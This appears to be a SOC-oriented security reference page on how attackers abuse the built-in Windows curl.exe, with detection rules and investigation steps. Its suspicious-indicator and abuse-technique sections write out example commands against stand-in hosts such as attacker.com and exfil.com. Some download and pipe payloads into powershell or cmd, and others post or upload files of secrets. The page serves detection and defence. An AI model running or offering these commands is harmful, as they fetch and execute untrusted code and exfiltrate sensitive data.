High RiskWindowsLegitimateCommonly Abused
curl.exeNETWORK UTILITYcurl.exe - Windows Curl Utility Security Analysis
curl.exe is a **command-line URL transfer tool** now built into Windows 10/11. It is increasingly used by attackers for **malware downloads**, **data exfiltration**, and **C2 communication**. As a trusted Windows binary, curl.exe can bypass some application controls.
Risk Summary
HIGH priority for SOC triage. curl.exe is a legitimate transfer tool increasingly abused for downloads and exfiltration. Monitor for downloads to suspicious paths, POST requests, and execution combined with piping to cmd/powershell.
Overview
What is curl.exe?
curl.exe is a command-line tool for transferring data with URLs.
Core Functions
Data Transfer:
- HTTP/HTTPS requests
- File uploads/downloads
- API interactions
Security Significance
- Built-in Windows: Available by default
- Trusted Binary: Microsoft signed
- Download Capability: Can fetch malware
- Exfil Capability: Can POST data out
Normal Behavior
Normal Behavior
Expected Process State
| Property | Expected Value |
|---|---|
| Path | C:\Windows\System32\curl.exe |
| Parent | cmd.exe, powershell.exe |
| User | Varies |
Legitimate Usage
curl https://api.example.com/data
curl -o file.zip https://download.example.com/file.zip
Common Locations
C:\Windows\System32\curl.exeSuspicious Indicators
Legitimate vs Suspicious
LEGITIMATE
Command: curl https://known-api.com
curl -o update.zip https://vendor.com
Context: Development, admin tasks
SUSPICIOUS
Command: curl http://attacker.com/mal.exe -o %TEMP%\mal.exe
curl -X POST -d @secrets.txt http://exfil.com
curl ... | cmd
curl ... | powershell
Context: Downloading executables
Exfiltrating data
Piping to shell
Abuse Techniques
Attack Techniques
Technique #1: Malware Download (T1105)
curl -o C:\Users\Public\payload.exe http://attacker.com/payload.exe
curl http://attacker.com/script.ps1 | powershell -
Technique #2: Data Exfiltration (T1048)
curl -X POST -d @sensitive.txt http://attacker.com/collect
curl -T secrets.zip http://attacker.com/upload
Technique #3: C2 Communication (T1071.001)
Using curl for HTTP-based C2.
Detection Guidance
Detection Strategies
Priority #1: Download to Suspicious Location
Process = "curl.exe" AND
CommandLine CONTAINS "-o" AND
DestinationPath CONTAINS ["%TEMP%", "Public", "AppData"]
→ ALERT: HIGH
Priority #2: Piped Execution
CommandLine MATCHES "curl.*\|.*(cmd|powershell)"
→ ALERT: CRITICAL - Download and execute
Priority #3: POST with File
Process = "curl.exe" AND
CommandLine CONTAINS ["-d @", "-T ", "-F "]
→ ALERT: HIGH - Potential exfiltration
Remediation Steps
Protection and Remediation
Defense: Monitor curl Usage
Log all curl executions with full command lines.
Defense: Egress Filtering
Restrict outbound connections.
If Compromise Suspected
- Identify downloaded files
- Check destination paths
- Review exfiltrated data
- Analyze target URLs
Investigation Checklist
Investigation Checklist
- Review full command line
- Check for -o output paths
- Review target URLs
- Check for POST/upload operations
- Look for piped execution
- Analyze downloaded files
MITRE ATT&CK Techniques
Last verified: January 18, 2026